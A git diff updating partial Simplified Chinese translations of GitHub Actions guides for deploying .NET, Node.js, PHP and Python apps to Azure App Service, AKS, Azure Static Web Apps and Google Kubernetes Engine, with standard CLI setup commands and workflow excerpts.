diff --git a/translations/zh-CN/content/actions/deployment/deploying-to-your-cloud-provider/deploying-to-azure/deploying-net-to-azure-app-service.md b/translations/zh-CN/content/actions/deployment/deploying-to-your-cloud-provider/deploying-to-azure/deploying-net-to-azure-app-service.md
index 2da7e39ce0..4e9647e1b8 100644
--- a/translations/zh-CN/content/actions/deployment/deploying-to-your-cloud-provider/deploying-to-azure/deploying-net-to-azure-app-service.md
+++ b/translations/zh-CN/content/actions/deployment/deploying-to-your-cloud-provider/deploying-to-azure/deploying-net-to-azure-app-service.md
@@ -16,7 +16,7 @@ topics:
 {% data reusables.actions.enterprise-github-hosted-runners %}
 
 
-## Introduction
+## 简介
 
 This guide explains how to use {% data variables.product.prodname_actions %} to build and deploy a .NET project to [Azure App Service](https://azure.microsoft.com/services/app-service/).
 
@@ -30,13 +30,13 @@ This guide explains how to use {% data variables.product.prodname_actions %} to
 
 {% endif %}
 
-## Prerequisites
+## 基本要求
 
-Before creating your {% data variables.product.prodname_actions %} workflow, you will first need to complete the following setup steps:
+在创建 {% data variables.product.prodname_actions %} 工作流程之前，首先需要完成以下设置步骤：
 
 {% data reusables.actions.create-azure-app-plan %}
 
-2. Create a web app.
+2. 创建 Web 应用。
 
    For example, you can use the Azure CLI to create an Azure App Service web app with a .NET runtime:
 
@@ -48,7 +48,7 @@ Before creating your {% data variables.product.prodname_actions %} workflow, you
        --runtime "DOTNET|5.0"
    ```
 
-   In the command above, replace the parameters with your own values, where `MY_WEBAPP_NAME` is a new name for the web app.
+   在上面的命令中，将参数替换为您自己的值，其中 `MY_WEBAPP_NAME` 是 Web 应用的新名称。
 
 {% data reusables.actions.create-azure-publish-profile %}
 
@@ -56,13 +56,13 @@ Before creating your {% data variables.product.prodname_actions %} workflow, you
 5. Optionally, configure a deployment environment. {% data reusables.actions.about-environments %}
 {% endif %}
 
-## Creating the workflow
+## 创建工作流程
 
-Once you've completed the prerequisites, you can proceed with creating the workflow.
+完成先决条件后，可以继续创建工作流程。
 
 The following example workflow demonstrates how to build and deploy a .NET project to Azure App Service when there is a push to the `main` branch.
 
-Ensure that you set `AZURE_WEBAPP_NAME` in the workflow `env` key to the name of the web app you created. If the path to your project is not the repository root, change `AZURE_WEBAPP_PACKAGE_PATH`.  If you use a version of .NET other than `5`, change `DOTNET_VERSION`.
+确保在工作流程 `env` 中将 `AZURE_WEBAPP_NAME` 密钥设置为您创建的 web 应用程序名称。 If the path to your project is not the repository root, change `AZURE_WEBAPP_PACKAGE_PATH`.  If you use a version of .NET other than `5`, change `DOTNET_VERSION`.
 
 {% data reusables.actions.delete-env-key %}
 
@@ -135,10 +135,10 @@ jobs:
           package: {% raw %}${{ env.AZURE_WEBAPP_PACKAGE_PATH }}{% endraw %}
 ```
 
-## Additional resources
+## 其他资源
 
-The following resources may also be useful:
+以下资源也可能有用：
 
 * For the original starter workflow, see [`azure-webapps-dotnet-core.yml`](https://github.com/actions/starter-workflows/blob/main/deployments/azure-webapps-dotnet-core.yml) in the {% data variables.product.prodname_actions %} `starter-workflows` repository.
-* The action used to deploy the web app is the official Azure [`Azure/webapps-deploy`](https://github.com/Azure/webapps-deploy) action.
+* 用于部署 Web 应用的操作是正式的 Azure [`Azure/webapps-deploy`](https://github.com/Azure/webapps-deploy) 操作。
 * For more examples of GitHub Action workflows that deploy to Azure, see the [actions-workflow-samples](https://github.com/Azure/actions-workflow-samples) repository.
diff --git a/translations/zh-CN/content/actions/deployment/deploying-to-your-cloud-provider/deploying-to-azure/deploying-nodejs-to-azure-app-service.md b/translations/zh-CN/content/actions/deployment/deploying-to-your-cloud-provider/deploying-to-azure/deploying-nodejs-to-azure-app-service.md
index e6f8f08b7c..8bc6bffaa8 100644
--- a/translations/zh-CN/content/actions/deployment/deploying-to-your-cloud-provider/deploying-to-azure/deploying-nodejs-to-azure-app-service.md
+++ b/translations/zh-CN/content/actions/deployment/deploying-to-your-cloud-provider/deploying-to-azure/deploying-nodejs-to-azure-app-service.md
@@ -22,7 +22,7 @@ topics:
 {% data reusables.actions.enterprise-github-hosted-runners %}
 
 
-## Introduction
+## 简介
 
 This guide explains how to use {% data variables.product.prodname_actions %} to build, test, and deploy a Node.js project to [Azure App Service](https://azure.microsoft.com/services/app-service/).
 
@@ -36,13 +36,13 @@ This guide explains how to use {% data variables.product.prodname_actions %} to
 
 {% endif %}
 
-## Prerequisites
+## 基本要求
 
-Before creating your {% data variables.product.prodname_actions %} workflow, you will first need to complete the following setup steps:
+在创建 {% data variables.product.prodname_actions %} 工作流程之前，首先需要完成以下设置步骤：
 
 {% data reusables.actions.create-azure-app-plan %}
 
-2. Create a web app.
+2. 创建 Web 应用。
 
    For example, you can use the Azure CLI to create an Azure App Service web app with a Node.js runtime:
 
@@ -54,7 +54,7 @@ Before creating your {% data variables.product.prodname_actions %} workflow, you
        --runtime "NODE|14-lts"
    ```
 
-   In the command above, replace the parameters with your own values, where `MY_WEBAPP_NAME` is a new name for the web app.
+   在上面的命令中，将参数替换为您自己的值，其中 `MY_WEBAPP_NAME` 是 Web 应用的新名称。
 
 {% data reusables.actions.create-azure-publish-profile %}
 
@@ -62,13 +62,13 @@ Before creating your {% data variables.product.prodname_actions %} workflow, you
 5. Optionally, configure a deployment environment. {% data reusables.actions.about-environments %}
 {% endif %}
 
-## Creating the workflow
+## 创建工作流程
 
-Once you've completed the prerequisites, you can proceed with creating the workflow.
+完成先决条件后，可以继续创建工作流程。
 
 The following example workflow demonstrates how to build, test, and deploy the Node.js project to Azure App Service when there is a push to the `main` branch.
 
-Ensure that you set `AZURE_WEBAPP_NAME` in the workflow `env` key to the name of the web app you created. If the path to your project is not the repository root, change `AZURE_WEBAPP_PACKAGE_PATH`  to your project path. If you use a version of Node.js other than `10.x`, change `NODE_VERSION` to the version that you use.
+确保在工作流程 `env` 中将 `AZURE_WEBAPP_NAME` 密钥设置为您创建的 web 应用程序名称。 If the path to your project is not the repository root, change `AZURE_WEBAPP_PACKAGE_PATH`  to your project path. If you use a version of Node.js other than `10.x`, change `NODE_VERSION` to the version that you use.
 
 {% data reusables.actions.delete-env-key %}
 
@@ -130,12 +130,11 @@ jobs:
         package: {% raw %}${{ env.AZURE_WEBAPP_PACKAGE_PATH }}{% endraw %}
 ```
 
-## Additional resources
+## 其他资源
 
-The following resources may also be useful:
+以下资源也可能有用：
 
 * For the original starter workflow, see [`azure-webapps-node.yml`](https://github.com/actions/starter-workflows/blob/main/deployments/azure-webapps-node.yml) in the {% data variables.product.prodname_actions %} `starter-workflows` repository.
-* The action used to deploy the web app is the official Azure [`Azure/webapps-deploy`](https://github.com/Azure/webapps-deploy) action.
-* For more examples of GitHub Action workflows that deploy to Azure, see the 
-[actions-workflow-samples](https://github.com/Azure/actions-workflow-samples) repository.
+* 用于部署 Web 应用的操作是正式的 Azure [`Azure/webapps-deploy`](https://github.com/Azure/webapps-deploy) 操作。
+* For more examples of GitHub Action workflows that deploy to Azure, see the [actions-workflow-samples](https://github.com/Azure/actions-workflow-samples) repository.
 * The "[Create a Node.js web app in Azure](https://docs.microsoft.com/azure/app-service/quickstart-nodejs)" quickstart in the Azure web app documentation demonstrates using VS Code with the [Azure App Service extension](https://marketplace.visualstudio.com/items?itemName=ms-azuretools.vscode-azureappservice).
diff --git a/translations/zh-CN/content/actions/deployment/deploying-to-your-cloud-provider/deploying-to-azure/deploying-php-to-azure-app-service.md b/translations/zh-CN/content/actions/deployment/deploying-to-your-cloud-provider/deploying-to-azure/deploying-php-to-azure-app-service.md
index 3931a1c6eb..ca120dfb5e 100644
--- a/translations/zh-CN/content/actions/deployment/deploying-to-your-cloud-provider/deploying-to-azure/deploying-php-to-azure-app-service.md
+++ b/translations/zh-CN/content/actions/deployment/deploying-to-your-cloud-provider/deploying-to-azure/deploying-php-to-azure-app-service.md
@@ -16,7 +16,7 @@ topics:
 {% data reusables.actions.enterprise-github-hosted-runners %}
 
 
-## Introduction
+## 简介
 
 This guide explains how to use {% data variables.product.prodname_actions %} to build and deploy a PHP project to [Azure App Service](https://azure.microsoft.com/services/app-service/).
 
@@ -30,13 +30,13 @@ This guide explains how to use {% data variables.product.prodname_actions %} to
 
 {% endif %}
 
-## Prerequisites
+## 基本要求
 
-Before creating your {% data variables.product.prodname_actions %} workflow, you will first need to complete the following setup steps:
+在创建 {% data variables.product.prodname_actions %} 工作流程之前，首先需要完成以下设置步骤：
 
 {% data reusables.actions.create-azure-app-plan %}
 
-2. Create a web app.
+2. 创建 Web 应用。
 
    For example, you can use the Azure CLI to create an Azure App Service web app with a PHP runtime:
 
@@ -48,7 +48,7 @@ Before creating your {% data variables.product.prodname_actions %} workflow, you
        --runtime "php|7.4"
    ```
 
-   In the command above, replace the parameters with your own values, where `MY_WEBAPP_NAME` is a new name for the web app.
+   在上面的命令中，将参数替换为您自己的值，其中 `MY_WEBAPP_NAME` 是 Web 应用的新名称。
 
 {% data reusables.actions.create-azure-publish-profile %}
 
@@ -56,13 +56,13 @@ Before creating your {% data variables.product.prodname_actions %} workflow, you
 5. Optionally, configure a deployment environment. {% data reusables.actions.about-environments %}
 {% endif %}
 
-## Creating the workflow
+## 创建工作流程
 
-Once you've completed the prerequisites, you can proceed with creating the workflow.
+完成先决条件后，可以继续创建工作流程。
 
 The following example workflow demonstrates how to build and deploy a PHP project to Azure App Service when there is a push to the `main` branch.
 
-Ensure that you set `AZURE_WEBAPP_NAME` in the workflow `env` key to the name of the web app you created. If the path to your project is not the repository root, change `AZURE_WEBAPP_PACKAGE_PATH` to the path to your project. If you use a version of PHP other than `8.x`, change`PHP_VERSION` to the version that you use.
+确保在工作流程 `env` 中将 `AZURE_WEBAPP_NAME` 密钥设置为您创建的 web 应用程序名称。 If the path to your project is not the repository root, change `AZURE_WEBAPP_PACKAGE_PATH` to the path to your project. If you use a version of PHP other than `8.x`, change`PHP_VERSION` to the version that you use.
 
 {% data reusables.actions.delete-env-key %}
 
@@ -146,10 +146,10 @@ jobs:
           package: .
 ```
 
-## Additional resources
+## 其他资源
 
-The following resources may also be useful:
+以下资源也可能有用：
 
 * For the original starter workflow, see [`azure-webapps-php.yml`](https://github.com/actions/starter-workflows/blob/main/deployments/azure-webapps-php.yml) in the {% data variables.product.prodname_actions %} `starter-workflows` repository.
-* The action used to deploy the web app is the official Azure [`Azure/webapps-deploy`](https://github.com/Azure/webapps-deploy) action.
+* 用于部署 Web 应用的操作是正式的 Azure [`Azure/webapps-deploy`](https://github.com/Azure/webapps-deploy) 操作。
 * For more examples of GitHub Action workflows that deploy to Azure, see the [actions-workflow-samples](https://github.com/Azure/actions-workflow-samples) repository.
diff --git a/translations/zh-CN/content/actions/deployment/deploying-to-your-cloud-provider/deploying-to-azure/deploying-python-to-azure-app-service.md b/translations/zh-CN/content/actions/deployment/deploying-to-your-cloud-provider/deploying-to-azure/deploying-python-to-azure-app-service.md
index f7001b459c..42e31020f4 100644
--- a/translations/zh-CN/content/actions/deployment/deploying-to-your-cloud-provider/deploying-to-azure/deploying-python-to-azure-app-service.md
+++ b/translations/zh-CN/content/actions/deployment/deploying-to-your-cloud-provider/deploying-to-azure/deploying-python-to-azure-app-service.md
@@ -17,7 +17,7 @@ topics:
 {% data reusables.actions.enterprise-github-hosted-runners %}
 
 
-## Introduction
+## 简介
 
 This guide explains how to use {% data variables.product.prodname_actions %} to build and deploy a Python project to [Azure App Service](https://azure.microsoft.com/services/app-service/).
 
@@ -31,13 +31,13 @@ This guide explains how to use {% data variables.product.prodname_actions %} to
 
 {% endif %}
 
-## Prerequisites
+## 基本要求
 
-Before creating your {% data variables.product.prodname_actions %} workflow, you will first need to complete the following setup steps:
+在创建 {% data variables.product.prodname_actions %} 工作流程之前，首先需要完成以下设置步骤：
 
 {% data reusables.actions.create-azure-app-plan %}
 
-1. Create a web app.
+1. 创建 Web 应用。
 
    For example, you can use the Azure CLI to create an Azure App Service web app with a Python runtime:
 
@@ -49,7 +49,7 @@ Before creating your {% data variables.product.prodname_actions %} workflow, you
        --runtime "python|3.8"
    ```
 
-   In the command above, replace the parameters with your own values, where `MY_WEBAPP_NAME` is a new name for the web app.
+   在上面的命令中，将参数替换为您自己的值，其中 `MY_WEBAPP_NAME` 是 Web 应用的新名称。
 
 {% data reusables.actions.create-azure-publish-profile %}
 
@@ -59,13 +59,13 @@ Before creating your {% data variables.product.prodname_actions %} workflow, you
 5. Optionally, configure a deployment environment. {% data reusables.actions.about-environments %}
 {% endif %}
 
-## Creating the workflow
+## 创建工作流程
 
-Once you've completed the prerequisites, you can proceed with creating the workflow.
+完成先决条件后，可以继续创建工作流程。
 
 The following example workflow demonstrates how to build and deploy a Python project to Azure App Service when there is a push to the `main` branch.
 
-Ensure that you set `AZURE_WEBAPP_NAME` in the workflow `env` key to the name of the web app you created. If you use a version of Python other than `3.8`, change `PYTHON_VERSION` to the version that you use.
+确保在工作流程 `env` 中将 `AZURE_WEBAPP_NAME` 密钥设置为您创建的 web 应用程序名称。 If you use a version of Python other than `3.8`, change `PYTHON_VERSION` to the version that you use.
 
 {% data reusables.actions.delete-env-key %}
 
@@ -99,7 +99,7 @@ jobs:
         run: |
           python -m venv venv
           source venv/bin/activate
-      
+
       - name: Set up dependency caching for faster installs
         uses: actions/cache@v2
         with:
@@ -142,10 +142,10 @@ jobs:
           publish-profile: {% raw %}${{ secrets.AZURE_WEBAPP_PUBLISH_PROFILE }}{% endraw %}
 ```
 
-## Additional resources
+## 其他资源
 
-The following resources may also be useful:
+以下资源也可能有用：
 
 * For the original starter workflow, see [`azure-webapps-python.yml`](https://github.com/actions/starter-workflows/blob/main/deployments/azure-webapps-python.yml) in the {% data variables.product.prodname_actions %} `starter-workflows` repository.
-* The action used to deploy the web app is the official Azure [`Azure/webapps-deploy`](https://github.com/Azure/webapps-deploy) action.
+* 用于部署 Web 应用的操作是正式的 Azure [`Azure/webapps-deploy`](https://github.com/Azure/webapps-deploy) 操作。
 * For more examples of GitHub Action workflows that deploy to Azure, see the [actions-workflow-samples](https://github.com/Azure/actions-workflow-samples) repository.
diff --git a/translations/zh-CN/content/actions/deployment/deploying-to-your-cloud-provider/deploying-to-azure/deploying-to-azure-kubernetes-service.md b/translations/zh-CN/content/actions/deployment/deploying-to-your-cloud-provider/deploying-to-azure/deploying-to-azure-kubernetes-service.md
index f6ab7573d2..d3c9ff96ad 100644
--- a/translations/zh-CN/content/actions/deployment/deploying-to-your-cloud-provider/deploying-to-azure/deploying-to-azure-kubernetes-service.md
+++ b/translations/zh-CN/content/actions/deployment/deploying-to-your-cloud-provider/deploying-to-azure/deploying-to-azure-kubernetes-service.md
@@ -16,7 +16,7 @@ topics:
 {% data reusables.actions.enterprise-github-hosted-runners %}
 
 
-## Introduction
+## 简介
 
 This guide explains how to use {% data variables.product.prodname_actions %} to build and deploy a project to [Azure Kubernetes Service](https://azure.microsoft.com/services/kubernetes-service/).
 
@@ -30,17 +30,17 @@ This guide explains how to use {% data variables.product.prodname_actions %} to
 
 {% endif %}
 
-## Prerequisites
+## 基本要求
 
-Before creating your {% data variables.product.prodname_actions %} workflow, you will first need to complete the following setup steps:
+在创建 {% data variables.product.prodname_actions %} 工作流程之前，首先需要完成以下设置步骤：
 
 1. Create a target AKS cluster and an Azure Container Registry (ACR). For more information, see "[Quickstart: Deploy an AKS cluster by using the Azure portal - Azure Kubernetes Service](https://docs.microsoft.com/azure/aks/kubernetes-walkthrough-portal)" and "[Quickstart - Create registry in portal - Azure Container Registry](https://docs.microsoft.com/azure/container-registry/container-registry-get-started-portal)" in the Azure documentation.
 
 1. Create a secret called `AZURE_CREDENTIALS` to store your Azure credentials. For more information about how to find this information and structure the secret, see [the `Azure/login` action documentation](https://github.com/Azure/login#configure-a-service-principal-with-a-secret).
 
-## Creating the workflow
+## 创建工作流程
 
-Once you've completed the prerequisites, you can proceed with creating the workflow.
+完成先决条件后，可以继续创建工作流程。
 
 The following example workflow demonstrates how to build and deploy a project to Azure Kubernetes Service when code is pushed to your repository.
 
@@ -87,7 +87,7 @@ jobs:
         inlineScript: |
           az configure --defaults acr={% raw %}${{ env.AZURE_CONTAINER_REGISTRY }}{% endraw %}
           az acr build -t  -t {% raw %}${{ env.REGISTRY_URL }}{% endraw %}/{% raw %}${{ env.PROJECT_NAME }}{% endraw %}:{% raw %}${{ github.sha }}{% endraw %}
-    
+
     - name: Gets K8s context
       uses: azure/aks-set-context@4e5aec273183a197b181314721843e047123d9fa
       with:
@@ -117,10 +117,10 @@ jobs:
           {% raw %}${{ env.PROJECT_NAME }}{% endraw %}
 ```
 
-## Additional resources
+## 其他资源
 
-The following resources may also be useful:
+以下资源也可能有用：
 
-* For the original starter workflow, see [`azure-kubernetes-service.yml `](https://github.com/actions/starter-workflows/blob/main/deployments/azure-kubernetes-service.yml) in the {% data variables.product.prodname_actions %} `starter-workflows` repository.
+* For the original starter workflow, see [`azure-kubernetes-service.yml`](https://github.com/actions/starter-workflows/blob/main/deployments/azure-kubernetes-service.yml) in the {% data variables.product.prodname_actions %} `starter-workflows` repository.
 * The actions used to in this workflow are the official Azure [`Azure/login`](https://github.com/Azure/login),[`Azure/aks-set-context`](https://github.com/Azure/aks-set-context), [`Azure/CLI`](https://github.com/Azure/CLI), [`Azure/k8s-bake`](https://github.com/Azure/k8s-bake), and [`Azure/k8s-deploy`](https://github.com/Azure/k8s-deploy)actions.
 * For more examples of GitHub Action workflows that deploy to Azure, see the [actions-workflow-samples](https://github.com/Azure/actions-workflow-samples) repository.
diff --git a/translations/zh-CN/content/actions/deployment/deploying-to-your-cloud-provider/deploying-to-azure/deploying-to-azure-static-web-app.md b/translations/zh-CN/content/actions/deployment/deploying-to-your-cloud-provider/deploying-to-azure/deploying-to-azure-static-web-app.md
index cc6a363133..6365bf2ba8 100644
--- a/translations/zh-CN/content/actions/deployment/deploying-to-your-cloud-provider/deploying-to-azure/deploying-to-azure-static-web-app.md
+++ b/translations/zh-CN/content/actions/deployment/deploying-to-your-cloud-provider/deploying-to-azure/deploying-to-azure-static-web-app.md
@@ -16,7 +16,7 @@ topics:
 {% data reusables.actions.enterprise-github-hosted-runners %}
 
 
-## Introduction
+## 简介
 
 This guide explains how to use {% data variables.product.prodname_actions %} to build and deploy a web app to [Azure Static Web Apps](https://azure.microsoft.com/services/app-service/static/).
 
@@ -30,17 +30,17 @@ This guide explains how to use {% data variables.product.prodname_actions %} to
 
 {% endif %}
 
-## Prerequisites
+## 基本要求
 
-Before creating your {% data variables.product.prodname_actions %} workflow, you will first need to complete the following setup steps:
+在创建 {% data variables.product.prodname_actions %} 工作流程之前，首先需要完成以下设置步骤：
 
-1. Create an Azure Static Web App using the 'Other' option for deployment source. For more information, see "[Quickstart: Building your first static site in the Azure portal](https://docs.microsoft.com/azure/static-web-apps/get-started-portal)" in the Azure documentation. 
+1. Create an Azure Static Web App using the 'Other' option for deployment source. For more information, see "[Quickstart: Building your first static site in the Azure portal](https://docs.microsoft.com/azure/static-web-apps/get-started-portal)" in the Azure documentation.
 
 2. Create a secret called `AZURE_STATIC_WEB_APPS_API_TOKEN` with the value of your static web app deployment token. For more information about how to find your deployment token, see "[Reset deployment tokens in Azure Static Web Apps](https://docs.microsoft.com/azure/static-web-apps/deployment-token-management)" in the Azure documentation.
 
-## Creating the workflow
+## 创建工作流程
 
-Once you've completed the prerequisites, you can proceed with creating the workflow.
+完成先决条件后，可以继续创建工作流程。
 
 The following example workflow demonstrates how to build and deploy an Azure static web app when there is a push to the `main` branch or when a pull request targeting `main` is opened, synchronized, or reopened. The workflow also tears down the corresponding pre-production deployment when a pull request targeting `main` is closed.
 
@@ -104,9 +104,9 @@ jobs:
           action: "close"
 ```
 
-## Additional resources
+## 其他资源
 
-The following resources may also be useful:
+以下资源也可能有用：
 
 * For the original starter workflow, see [`azure-staticwebapp.yml`](https://github.com/actions/starter-workflows/blob/main/deployments/azure-staticwebapp.yml) in the {% data variables.product.prodname_actions %} `starter-workflows` repository.
 * The action used to deploy the web app is the official Azure [`Azure/static-web-apps-deploy`](https://github.com/Azure/static-web-apps-deploy) action.
diff --git a/translations/zh-CN/content/actions/deployment/deploying-to-your-cloud-provider/deploying-to-azure/index.md b/translations/zh-CN/content/actions/deployment/deploying-to-your-cloud-provider/deploying-to-azure/index.md
index 293638875e..fff824b76c 100644
--- a/translations/zh-CN/content/actions/deployment/deploying-to-your-cloud-provider/deploying-to-azure/index.md
+++ b/translations/zh-CN/content/actions/deployment/deploying-to-your-cloud-provider/deploying-to-azure/index.md
@@ -1,7 +1,7 @@
 ---
 title: Deploying to Azure
 shortTitle: Deploy to Azure
-intro: Learn how to deploy to Azure App Service, Azure Kubernetes, and Azure Static Web App as part of your continuous deployment (CD) workflows.
+intro: 'Learn how to deploy to Azure App Service, Azure Kubernetes, and Azure Static Web App as part of your continuous deployment (CD) workflows.'
 versions:
   fpt: '*'
   ghes: '*'
@@ -17,3 +17,4 @@ children:
   - /deploying-to-azure-static-web-app
   - /deploying-to-azure-kubernetes-service
 ---
+
diff --git a/translations/zh-CN/content/actions/deployment/deploying-to-your-cloud-provider/deploying-to-google-kubernetes-engine.md b/translations/zh-CN/content/actions/deployment/deploying-to-your-cloud-provider/deploying-to-google-kubernetes-engine.md
index 6782f10b34..0bbf8738f1 100644
--- a/translations/zh-CN/content/actions/deployment/deploying-to-your-cloud-provider/deploying-to-google-kubernetes-engine.md
+++ b/translations/zh-CN/content/actions/deployment/deploying-to-your-cloud-provider/deploying-to-google-kubernetes-engine.md
@@ -1,6 +1,6 @@
 ---
-title: Deploying to Google Kubernetes Engine
-intro: You can deploy to Google Kubernetes Engine as part of your continuous deployment (CD) workflows.
+title: 部署到 Google Kubernetes Engine
+intro: 您可以部署到 Google Kubernetes Engine 引擎，作为持续部署 (CD) 工作流程的一部分。
 redirect_from:
   - /actions/guides/deploying-to-google-kubernetes-engine
   - /actions/deployment/deploying-to-google-kubernetes-engine
@@ -20,72 +20,72 @@ shortTitle: Deploy to Google Kubernetes Engine
 {% data reusables.actions.enterprise-beta %}
 {% data reusables.actions.enterprise-github-hosted-runners %}
 
-## Introduction
+## 简介
 
 This guide explains how to use {% data variables.product.prodname_actions %} to build a containerized application, push it to Google Container Registry (GCR), and deploy it to Google Kubernetes Engine (GKE) when there is a push to the `main` branch.
 
-GKE is a managed Kubernetes cluster service from Google Cloud that can host your containerized workloads in the cloud or in your own datacenter. For more information, see [Google Kubernetes Engine](https://cloud.google.com/kubernetes-engine).
+GKE 是 Google Cloud 的托管 Kubernetes 群集服务，可以在云中或您自己的数据中心中托管您的容器化工作负载。 更多信息请参阅 [Google Kubernetes Engine](https://cloud.google.com/kubernetes-engine)。
 
 {% ifversion fpt or ghec or ghae-issue-4856 %}
 
 {% note %}
 
-**Note**: {% data reusables.actions.about-oidc-short-overview %}
+**注**：{% data reusables.actions.about-oidc-short-overview %}
 
 {% endnote %}
 
 {% endif %}
 
-## Prerequisites
+## 基本要求
 
-Before you proceed with creating the workflow, you will need to complete the following steps for your Kubernetes project. This guide assumes the root of your project already has a `Dockerfile` and a Kubernetes Deployment configuration file. For an example, see [google-github-actions](https://github.com/google-github-actions/setup-gcloud/tree/master/example-workflows/gke).
+在继续创建工作流程之前，您需要完成 Kubernetes 项目的以下步骤。 本指南假定项目的根目录已有 `Dockerfile` 和 Kubernetes 部署配置文件。 例如，请参阅 [google-github-](https://github.com/google-github-actions/setup-gcloud/tree/master/example-workflows/gke)。
 
-### Creating a GKE cluster
+### 创建 GKE 群集
 
-To create the GKE cluster, you will first need to authenticate using the `gcloud` CLI. For more information on this step, see the following articles:
-- [`gcloud auth login`](https://cloud.google.com/sdk/gcloud/reference/auth/login)
+要创建 GKE 群集，首先需要使用 `gcloud` CLI 进行身份验证 。 有关此步骤的更多信息，请参阅以下文章：
+- [`gcloud 身份验证登录`](https://cloud.google.com/sdk/gcloud/reference/auth/login)
 - [`gcloud` CLI](https://cloud.google.com/sdk/gcloud/reference)
-- [`gcloud` CLI and Cloud SDK](https://cloud.google.com/sdk/gcloud#the_gcloud_cli_and_cloud_sdk)
+- [`gcloud` CLI 和 Cloud SDK](https://cloud.google.com/sdk/gcloud#the_gcloud_cli_and_cloud_sdk)
 
-For example:
+例如：
 
 {% raw %}
 ```bash{:copy}
 $ gcloud container clusters create $GKE_CLUSTER \
-	--project=$GKE_PROJECT \
-	--zone=$GKE_ZONE
+    --project=$GKE_PROJECT \
+    --zone=$GKE_ZONE
 ```
 {% endraw %}
 
-### Enabling the APIs
+### 启用 API
 
-Enable the Kubernetes Engine and Container Registry APIs. For example:
+启用 Kubernetes Engine 和 Container Registry API。 例如：
 
 {% raw %}
 ```bash{:copy}
 $ gcloud services enable \
-	containerregistry.googleapis.com \
-	container.googleapis.com
+    containerregistry.googleapis.com \
+    container.googleapis.com
 ```
 {% endraw %}
 
-### Configuring a service account and storing its credentials
+### 配置服务帐户并存储其凭据
 
-This procedure demonstrates how to create the service account for your GKE integration. It explains how to create the account, add roles to it, retrieve its keys, and store them as a base64-encoded encrypted repository secret named `GKE_SA_KEY`.
+此程序显示如何为您的 GKE 集成创建服务帐户。 It explains how to create the account, add roles to it, retrieve its keys, and store them as a base64-encoded encrypted repository secret named `GKE_SA_KEY`.
 
-1. Create a new service account:
+1. 创建新服务帐户：
   {% raw %}
   ```
   $ gcloud iam service-accounts create $SA_NAME
   ```
   {% endraw %}
-1. Retrieve the email address of the service account you just created:
+1. 检索您刚刚创建的服务帐户的电子邮件地址：
   {% raw %}
   ```
   $ gcloud iam service-accounts list
   ```
   {% endraw %}
-1. Add roles to the service account. Note: Apply more restrictive roles to suit your requirements.
+1. 向服务帐户添加角色。 注意：应用限制更严格的角色以满足您的要求。
   {% raw %}
   ```
   $ gcloud projects add-iam-policy-binding $GKE_PROJECT \
@@ -95,13 +95,13 @@ This procedure demonstrates how to create the service account for your GKE integ
     --role=roles/container.clusterViewer
   ```
   {% endraw %}
-1. Download the JSON keyfile for the service account:
+1. 下载服务帐户的 JSON 密钥文件：
   {% raw %}
   ```
   $ gcloud iam service-accounts keys create key.json --iam-account=$SA_EMAIL
   ```
   {% endraw %}
-1. Store the service account key as a secret named `GKE_SA_KEY`:
+1. 将服务帐户密钥存储为名为 `GKE_SA_KEY` 的机密：
   {% raw %}
   ```
   $ export GKE_SA_KEY=$(cat key.json | base64)
@@ -113,8 +113,8 @@ This procedure demonstrates how to create the service account for your GKE integ
 
 Store the name of your project as a secret named `GKE_PROJECT`. For more information about how to store a secret, see "[Encrypted secrets](/actions/security-guides/encrypted-secrets)."
 
-### (Optional) Configuring kustomize
-Kustomize is an optional tool used for managing YAML specs. After creating a _kustomization_ file, the workflow below can be used to dynamically set fields of the image and pipe in the result to `kubectl`. For more information, see [kustomize usage](https://github.com/kubernetes-sigs/kustomize#usage).
+### （可选）配置 kustomize
+Kustomize 是用于管理 YAML 规范的可选工具。 在创建 _kustomization_ 文件之后， 下面的工作流可用于将结果中的图像和管道字段动态设置为 `kubectl`。 更多信息请参阅 [kustomize 的用法](https://github.com/kubernetes-sigs/kustomize#usage)。
 
 {% ifversion fpt or ghes > 3.0 or ghae or ghec %}
 ### (Optional) Configure a deployment environment
@@ -122,11 +122,11 @@ Kustomize is an optional tool used for managing YAML specs. After creating a _ku
 {% data reusables.actions.about-environments %}
 {% endif %}
 
-## Creating the workflow
+## 创建工作流程
 
-Once you've completed the prerequisites, you can proceed with creating the workflow.
+完成先决条件后，可以继续创建工作流程。
 
-The following example workflow demonstrates how to build a container image and push it to GCR. It then uses the Kubernetes tools (such as `kubectl` and `kustomize`) to pull the image into the cluster deployment.
+下面的示例工作流程演示如何生成容器映像并推送到 GCR。 然后，它使用 Kubernetes 工具（如 `kubectl` 和 `kustomize`）将映像拉入群集部署。
 
 Under the `env` key, change the value of `GKE_CLUSTER` to the name of your cluster, `GKE_ZONE` to your cluster zone, `DEPLOYMENT_NAME` to the name of your deployment, and `IMAGE` to the name of your image.
 
@@ -206,11 +206,11 @@ jobs:
         kubectl get services -o wide
 ```
 
-## Additional resources
+## 其他资源
 
-For more information on the tools used in these examples, see the following documentation:
+有关这些示例中使用的工具的详细信息，请参阅以下文档：
 
-* For the full starter workflow, see the ["Build and Deploy to GKE" workflow](https://github.com/actions/starter-workflows/blob/main/deployments/google.yml).
-* For more starter workflows and accompanying code, see Google's [{% data variables.product.prodname_actions %} example workflows](https://github.com/google-github-actions/setup-gcloud/tree/master/example-workflows/).
-* The Kubernetes YAML customization engine: [Kustomize](https://kustomize.io/).
-* "[Deploying a containerized web application](https://cloud.google.com/kubernetes-engine/docs/tutorials/hello-app)" in the Google Kubernetes Engine documentation.
+* 有关完整的入门工作流程，请参阅[“生成并部署到 GKE”工作流程](https://github.com/actions/starter-workflows/blob/main/deployments/google.yml)。
+* 有关更多入门工作流程和随附代码，请参阅 Google 的 [{% data variables.product.prodname_actions %} 示例工作流程](https://github.com/google-github-actions/setup-gcloud/tree/master/example-workflows/)。
+* Kubernetes YAML 定制引擎：[Kustomize](https://kustomize.io/)。
+* Google Kubernetes Engine 文档中的“[部署容器化的 web 应用程序](https://cloud.google.com/kubernetes-engine/docs/tutorials/hello-app)”。
diff --git a/translations/zh-CN/content/actions/deployment/deploying-to-your-cloud-provider/index.md b/translations/zh-CN/content/actions/deployment/deploying-to-your-cloud-provider/index.md
index 56c61d9b6d..a31cb4f532 100644
--- a/translations/zh-CN/content/actions/deployment/deploying-to-your-cloud-provider/index.md
+++ b/translations/zh-CN/content/actions/deployment/deploying-to-your-cloud-provider/index.md
@@ -12,3 +12,4 @@ children:
   - /deploying-to-azure
   - /deploying-to-google-kubernetes-engine
 ---
+
